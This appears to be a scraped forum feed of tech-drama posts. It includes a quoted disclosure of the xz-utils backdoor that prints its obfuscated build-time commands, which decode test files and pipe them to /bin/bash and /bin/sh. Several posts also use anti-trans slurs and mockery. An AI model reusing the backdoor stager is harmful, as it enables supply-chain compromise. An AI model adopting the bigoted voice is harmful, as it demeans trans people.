None
33
The Wayback Machine hasn't been able to save images hosted on Reddit for months :marseycryinglaptop:

It stopped working many months ago, when Reddit started redirecting image links to their www.reddit.com/media links. The image viewer thing is kind of helpful in that it tells you which post the image came from, but this is overshadowed by the fact that it prevents you from viewing the image directly. Thus, the Wayback Machine cannot archive the image.

I sent a wordswordswords email to the Internet Archive about it, and they unfortunately said they couldn't change it.

Hi,

No... I am very sorry but Reddit is much harder to archive now than it was in the past.

We are doing the best we can.

  • Mark Graham, Director, the Wayback Machine at the Internet Archive

ArchiveTeam also had difficulty archiving Reddit due to bans and paused their project. (Does anyone here know if there are logs of their IRC channel #shreddit?) At least PullPush works (for now), but it doesn't archive images. Luckily, archive.today and ghostarchive.org are still able to save Reddit images. :marseyheart:

If you are annoyed by Reddit not letting you view images directly, here are some extensions I have not tried at all. They work by modifying the Accept header sent by your browser.

None
None

!germs !christians

None
None

source for that is https://www.theinformation.com/articles/how-amazons-big-bet-on-just-walk-out-stumbled, which I cannot bypass the paywall on :marseyshrug:

None

https://i.rdrama.net/images/17126262834140468.webp

None
None
23
Until python has @nothrow and @nogc it will never be as good as D

I was writing a python script today to scrap reddit and generate a list of transexuals and hamas simps for me to block and it was nothing but pain.

Why you ask?

Because python does nothing to warn you what error your code can throw or even if it can throw an error. In D (the far superior langue) you can tag your code @nothrow and if your code can throw any error you've not handled the compiler will throw an error. This allows for good, safe, trustworthy code the likes of which you will never get from gaython

No instead you'll write a try except for every case you can think of just to have it throw one you didn't, give up and use pokemon exception like a jr!

The case for @nogc is even simpler, my code is short lived enough that it simply doesn't need garbage collect. Instead I the almighty dev should be allowed to manually managed the memory thus ensuring I get the maximum amount of perforce.

I can't tell you how useful nogc is in D.

!codecels embrace the D, it's the future

PS: rust and go are gay.

None
None
None
128
Backdoors

I wanna be a janny :marseyjanny2:

None
Reported by:
  • BWC : BWC WON :!chadnordic::asiangirl:

Neither can I tbh

Edit:

https://old.reddit.com/r/AsianMasculinity/comments/1bvbk5q/metas_ai_image_generator_cant_imagine_an_asian/?sort=controversial

Some azn nerd wrote a longpost about this phenomenon in DALL-E and it's hilarious

https://i.rdrama.net/images/17122701559581747.webp

https://i.rdrama.net/images/17122703603750982.webp

None

How Freedesktop/RedHat harass other projects into submission

https://blog.vaxry.net/articles/2024-fdo-and-redhat

Freedesktop/RedHat's CoC team is worse than you thought

https://blog.vaxry.net/articles/2024-fdo-and-redhat2

Strags respond

https://drewdevault.com/2024/04/09/2024-04-09-FDO-conduct-enforcement.html

None
None
None
None

See also: Part 2

Spoiler: the :marseytrain: bans him :marseyscream:

Orange Site discussion

Edit:

The HN comments get to the core of this:

A moderator on Vaxry's groomercord changed a transgender person's pronouns from "they/them" to "who/cares". Vaxry did nothing about it, and even supported this change, stating that the person was making too big a deal about their pronouns

lmao based

Also someone posted screenshots from his Groomercord where he pings everyone asking for hentai:

https://i.rdrama.net/images/1712720418751131.webp

https://i.rdrama.net/images/1712720487026525.webp

https://i.rdrama.net/images/17127204875388856.webp

Reddit discussions:

https://old.reddit.com/r/linux/comments/1bzna16/hyprland_creator_vaxry_is_now_banned_from/?sort=controversial

https://old.reddit.com/r/linux/comments/1bztfry/fdos_conduct_enforcement_actions_regarding_vaxry/?sort=controversial

None
24
:marseychudindian: :marseyautism: cannot stop seething about "woke" :marseytransimplosion: culture on his blog- gets banned from :marseyautism: NixOS community :marseypenguin: :marseykernelpanic:
None
None
31
Making Truth Social Comply with the AGPL

Orange Site discussion

tl;dr: some leftoid bullied Truth Social into releasing their source code as per the AGPL which requires derivative source to be published, naturally he's very proud of himself

He also implies the code is shit and people should look for vulnerabilities (to report them responsibly, I'm sure)

Flagged comments:

(make an account and enable "show dead")

Could have done without all the left-wing whining.

The dispersal from left-leaning social media sites wasn't about needing a place to tell lies, moderation on them was ideologically driven and biased, much like the author of this piece.

Nobody likes to be censored, the left has just been doing the censoring for so long they've forgotten how it feels.

This comment and any others critiquing the author or supporting Truth Social will be flagged, effectively deleting them for anyone who doesn't toggle the flag on in settings. What a great site this is. Actually worse than reddit in this regard.

https://news.ycombinator.com/item?id=40028696

The tone of this article reads like the author expected this company to be evil incarnate, because they're Republican, and then they just...aren't.

Seems like there is some cognitive distortion going on where people are being vilified, and then that ends up not matching reality.

https://news.ycombinator.com/item?id=40028668

None
None

I wonder if :marseyhillarybackstab: will intervene

https://media.giphy.com/media/l2JhL0cjXmFHxdOnu/giphy.webp

https://www.fox5ny.com/news/report-hillary-clinton-considered-drone-attack-on-julian-assange

!nooticers

None
Reported by:
None

== Compromised Release Tarball ==

One portion of the backdoor is solely in the distributed tarballs. For

easier reference, here's a link to debian's import of the tarball, but it is

also present in the tarballs for 5.6.0 and 5.6.1:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63

That line is not in the upstream source of build-to-host, nor is

build-to-host used by xz in git. However, it is present in the tarballs

released upstream, except for the "source code" links, which I think github

generates directly from the repository contents:

https://github.com/tukaani-project/xz/releases/tag/v5.6.0

https://github.com/tukaani-project/xz/releases/tag/v5.6.1

This injects an obfuscated script to be executed at the end of configure. This

script is fairly obfuscated and data from "test" .xz files in the repository.

This script is executed and, if some preconditions match, modifies

$builddir/src/liblzma/Makefile to contain

am__test = bad-3-corrupt_lzma2.xz

...

am__test_dir=$(top_srcdir)/tests/files/$(am__test)

...

sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

which ends up as

...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " -_" " _-" | xz -d | /bin/bash >/dev/null 2>&1; ...

Leaving out the "| bash" that produces

####Hello####

#��Z�.hj�

eval grep ^srcdir= config.status

if test -f ../../config.status;then

eval grep ^srcdir= ../../config.status

srcdir="../../$srcdir"

fi

export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh

####World####

After de-obfuscation this leads to the attached injected.txt.

== Compromised Repository ==

The files containing the bulk of the exploit are in an obfuscated form in

tests/files/bad-3-corrupt_lzma2.xz

tests/files/good-large_compressed.lzma

committed upstream. They were initially added in

https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

Note that the files were not even used for any "tests" in 5.6.0.

Subsequently the injected code (more about that below) caused valgrind errors

and crashes in some configurations, due the stack layout differing from what

the backdoor was expecting. These issues were attempted to be worked around

in 5.6.1:

https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad

https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f

https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

For which the exploit code was then adjusted:

https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

Given the activity over several weeks, the committer is either directly

involved or there was some quite severe compromise of their

system. Unfortunately the latter looks like the less likely explanation, given

they communicated on various lists about the "fixes" mentioned above.

!chuds !nonchuds CHECK YO SELF. YEAR OF THE LINUX DESKTOP 2024 :marseysal:

None
32
(real)
Link copied to clipboard
Action successful!
Error, please refresh the page and try again.